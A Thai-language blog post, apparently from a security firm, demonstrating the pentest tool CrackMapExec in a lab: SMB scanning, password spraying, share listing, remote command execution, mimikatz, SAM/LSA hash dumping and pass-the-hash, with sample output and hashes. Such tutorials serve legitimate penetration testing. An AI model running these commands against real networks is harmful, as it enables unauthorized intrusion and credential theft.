แนะนำโปรแกรมย้อนวันวาน CrackMapExec มีดเก่าที่ยังแหลมคม

Datafarm
4 min readNov 10, 2021

สวัสดีครับผู้อ่าน วันเวลาเวียนบรรจบมาพบกันอีกครั้ง วันนี้จะมาพูดถึงโปรแกรม CrackMapExec หรือ CME ที่เขาเครมว่าเป็น Swiss Army Knife สำหรับการทำ Network Penetration Test ซึ่งถ้านับเอาจริง ๆ โปรแกรมนี้ก็มีมานานมากละ ถ้าใครอยู่ในสาย CyberSecurity ก็น่าจะเคยใช้งานกันมาบ้างหรืออย่างน้อยก็น่าจะผ่านหูผ่านตามาบ้าง โดยในช่วงนี้แอดก็อ่าน ๆ ดูอะไรไปเรื่อยก็เลยหยิบยกขึ้นมาเขียน เพราะว่าในหลาย ๆ สถานการณ์ที่อ่านเจอ ถ้าใช้เจ้าตัว CME จะสะดวกต่อการใช้งานมากกว่าก็เลยหยิบยกขึ้นมาพูดถึงซะหน่อยดีกว่า และผู้เขียนเองก็ชอบใช้ขณะที่เล่นกับระดับ System/Network ด้วย อีกเหตุผลหนึ่งก็เนื่องด้วยหัวข้อวิเคราะห์ช่องโหว่ที่คิดไว้พอมาอ่านดูดี ๆ ดันสั้นกระจิ๋วเดียว ถถถถ มาเข้าเรื่องกันเลยดีกว่า

โปรแกรม CrackMapExec หรือ CME ที่เขาให้นิยามตัวเองเอาไว้ว่าเป็น “A swiss army knife for pentesting networks” (https://github.com/byt3bl33d3r/CrackMapExec) ที่เอาไว้ใช้สำหรับทำ Network Penetration Testing ทั่วไปและ Red team ในขั้นตอนทั้ง Enumeration เล็ก ๆ น้อย ๆ ไปจบถึงการทำ Post-Exploitation ที่จะมี Module ต่าง ๆ เอาไว้ให้เลือกใช้ เช่น mimikatz, การ inject Shellcode ลง Memory, และการทำพวก Information Gathering บนเครื่องเป้าหมายหลังจากได้ Session แล้วด้วย Post-Exploit module ต่าง ๆ เป็นต้น รวมถึงสามารถ Integrate หรือทำงานร่วมกับโปรแกรมอื่นอย่าง Empire, Metasploit, และ Bloodhound ลืมบอกไปว่าโปรแกรม CME เนี้ยรองรับการใช้งานที่โปรโตคอล LDAP, SMB, WINRM, SSH, และ MSSQL เท่านั้น

การติดตั้งสามารถเลือกได้ตามความถนัดและสะดวกกันเลยมีทั้ง Docker, Binaries, Python Package, และ Clone ไปติดตั้งเอง

โดยวันนี้จะมาสาธิตการใช้งานคร่าว ๆ กัน โดยสามารถดูรายละเอียดการใช้งานแบบละเอียดได้ที่ wiki ของโปรเจ็ค

หรือถ้าจะดูแบบคร่าว ๆ ก็สามารถพิมพ์ ```cme –help``` ที่ Terminal ได้เลย

จากนั้นให้เราเลือกโปรโตคอลที่สนใจ (โดยในตัวอย่างนี้จะเลือกเป็น SMB) แล้วก็ตามด้วยคำสั่ง help อีกทีเพื่อแสดงรายละเอียดที่เราจะสามารถเรียกใช้เพื่อทดสอบที่โปรโตคอล SMB ได้

cme smb — help

ต่อมาที่ขั้นตอนการใช้งานเพื่อสแกนหาเครื่องที่เปิด SMB Service โดยเราสามารถกำหนด Target(s) ได้ในหลายรูปแบบทั้งการกำหนดไอพีเดียวตรง ๆ ระบุเป็น Range หรืออ่านจากไฟล์ เช่น

ต่อมาที่ขั้นตอนการใช้งานเพื่อสแกนหาเครื่องที่เปิด SMB Service โดยเราสามารถกำหนด Target(s) ได้ในหลายรูปแบบทั้งการกำหนดไอพีเดียวตรง ๆ ระบุเป็น Range หรืออ่านจากไฟล์ เช่น

cme smb 192.168.10.10cme smb 192.168.10.0/24cme smb ips.txt

ผลที่ได้ก็จะประมาณนี้ที่จะประกอบไปด้วยเครื่องที่เปิด SMB Service อยู่พร้อมกับ Hostname และข้อมูลจิปาถะที่ได้จากการ Enumerate มาจากพอร์ตที่เปิด

ต่อมาที่ขั้นตอนการใช้งานเพื่อสแกนหาเครื่องที่เปิด SMB Service โดยเราสามารถกำหนด Target(s) ได้ในหลายรูปแบบทั้งการกำหนดไอพีเดียวตรง ๆ ระบุเป็น Range หรืออ่านจากไฟล์ เช่น

cme smb 192.168.10.10cme smb 192.168.10.0/24cme smb ips.txt

ผลที่ได้ก็จะประมาณนี้ที่จะประกอบไปด้วยเครื่องที่เปิด SMB Service อยู่พร้อมกับ Hostname และข้อมูลจิปาถะที่ได้จากการ Enumerate มาจากพอร์ตที่เปิด

SMB         192.168.10.161  445    PC01             [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:bankcorp.local) (signing:False) (SMBv1:False)SMB         192.168.10.105  445    WIN2012          [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:WIN2012) (domain:WIN2012) (signing:False) (SMBv1:True)

จากนั้นมาเราสามารถที่จะ Spray Brute Force ไปที่แต่ละไอพีได้ทั้งระบุชื่อ Username/Password หรือแบบอ่านจาก Dictionary ที่มีการได้เตรียมเอาไว้ได้ทั้งคู่เลย (นอกจากนี้ยังสามารถทำ Pass-the-Hash แบบ Spray ได้ด้วยเช่นกัน แต่จะไว้พูดถึงอีกที) ตัวอย่างเช่น

cme smb ips.txt -u users.txt -p "P@ssw0rd" --local-auth

ที่ด้านบนจะเป็นการ Brute Force ตามชื่อที่อยู่ในไฟล์ users.txt ส่วนรหัสผ่านจะกำหนดเอาไว้เลยว่าเป็นค่า “P@ssw0rd” ที่ local account ผลทีได้ก็จะแสดงผลประมาณนี้ว่าทดลองอะไรไปบ้าง และค่าไหนที่สำเร็จ

SMB         192.168.10.105  445    WIN2012          [*] Windows Server 2012 R2 Datacenter 9600 x64 (name:WIN2012) (domain:WIN2012) (signing:False) (SMBv1:True)SMB         192.168.10.161  445    PC01             [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:PC01) (signing:False) (SMBv1:False)SMB         192.168.10.161  445    PC01             [-] PC01\Windows:P@ssw0rd STATUS_LOGON_FAILURESMB         192.168.10.161  445    PC01             [-] PC01\Administrator:P@ssw0rd STATUS_LOGON_FAILURESMB         192.168.10.161  445    PC01             [-] PC01\WIN2012:P@ssw0rd STATUS_LOGON_FAILURESMB         192.168.10.161  445    PC01             [+] PC01\WIN10:P@ssw0rdSMB         192.168.10.105  445    WIN2012          [-] WIN2012\Windows:P@ssw0rd STATUS_LOGON_FAILURESMB         192.168.10.105  445    WIN2012          [-] WIN2012\Administrator:P@ssw0rd STATUS_LOGON_FAILURESMB         192.168.10.105  445    WIN2012          [+] WIN2012\WIN2012:P@ssw0rd

หลังจากนั้นก็มาลองดูกันต่อว่าภายในแต่ละเครื่องนั้นมีการแชร์อะไรไว้อยู่บ้าง ด้วยการเติม --shares

cme smb "192.168.10.161" -u "WIN10" -p "P@ssw0rd" --local-auth –shares

ผลที่ได้

SMB         192.168.10.161  445    PC01             [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:PC01) (signing:False) (SMBv1:False)SMB         192.168.10.161  445    PC01             [+] PC01\WIN10:P@ssw0rdSMB         192.168.10.161  445    PC01             [+] Enumerated sharesSMB         192.168.10.161  445    PC01             Share           Permissions     RemarkSMB         192.168.10.161  445    PC01             -----           -----------     ------SMB         192.168.10.161  445    PC01             ADMIN$          READ,WRITE      Remote AdminSMB         192.168.10.161  445    PC01             C$              READ,WRITE      Default shareSMB         192.168.10.161  445    PC01             IPC$            READ            Remote IPCSMB         192.168.10.161  445    PC01             Share 2 U       READ,WRITESMB         192.168.10.161  445    PC01             Users           READ,WRITE

จากนั้นจะมาลอง Execute คำสั่งด้วย Options -x ที่เป็นคำสั่งผ่าน Command Prompt ปกติ และ -X สำหรับทำงานผ่าน PowerShell

cme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -x ipconfigcme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -X whoami

หรือจะให้ Execute คำสั่งผ่านรูปแบบอื่น ๆ เช่น smbexec,mmcexec,wmiexec,atexec โดย Default จะเป็น wmiexec

cme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth --exec-method smbexec -X ipconfig

จากนั้นจะลองใช้งาน Modules ทั้งหลายดู โดยเราสามารถที่จะแสดงรายการ Modules ที่สามารถใช้งานได้ผ่าน Option -L และ Options ของ Module ที่กำหนดด้วย –options

cme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -Lcme smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth -M mimikatz –options

ผลที่ได้ก็จะเหมือนกับเราใช้งาน Mimikatz ตามปกติเลย เพราะก็จะเป็นการเรียกใช้งาน PowerShell Invoke-Mimikatz ที่อยู่ใน PowerSploit

crackmapexec smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth --samSMB         192.168.10.161  445    PC01             [*] Windows 10.0 Build 19041 x64 (name:PC01) (domain:PC01) (signing:False) (SMBv1:False)SMB         192.168.10.161  445    PC01             [+] PC01\WIN10:P@ssw0rd (Pwn3d!)SMB         192.168.10.161  445    PC01             [+] Dumping SAM hashesSMB         192.168.10.161  445    PC01             Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB         192.168.10.161  445    PC01             Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB         192.168.10.161  445    PC01             DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::SMB         192.168.10.161  445    PC01             WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5b173aafc47879ef0e37301498b3630c:::SMB         192.168.10.161  445    PC01             WIN10:1002:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::SMB         192.168.10.161  445    PC01             [+] Added 5 SAM hashes to the database

หลังจากที่เราได้ NTLM Hash ก็ลองนำมาใช้งาน Pass-the-Hash ต่อได้ในกรณีที่เราไม่ทราบ Password หรือยัง Crack ไม่เสร็จ โดยสามารถเรียกใช้งานผ่าน Option -U เพื่อแทนค่า Password ได้เลย ตัวอย่างเช่น

crackmapexec smb ips.txt -u "WIN10" -H "aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42" --local-auth

หรือจะทำการ Dump LSA Hash ก็สามารถทำได้โดยใช้ option –lsa เท่านั้น

crackmapexec smb 192.168.10.161 -u "WIN10" -p "P@ssw0rd" --local-auth --lsa

และนอกจากที่ได้พูดถึงไปแล้วนั้นก็ยังมีฟีเจอร์ต่าง ๆ อีกมากมายที่อำนวยความสะดวกต่อการทำ Network Pentest หรือ การทำ Red Team อย่างการทำงานร่วมกับ Empire และการ Export Data ไปใส่ Bloodhound รวมถึงการใช้งาร่วมกับพวก Kerberos Authentication โดยหวังว่าบทความนี้จะเป็นประโยชน์ไม่มากก็น้อย ถ้าชอบทริปเทคนิคต่าง ๆ ทางด้าน CyberSecurity ฝากกดติดตามที่เพจเพื่อติดตามรับข่าวสารกันด้วยนะครับ 🙏

--

--

No responses yet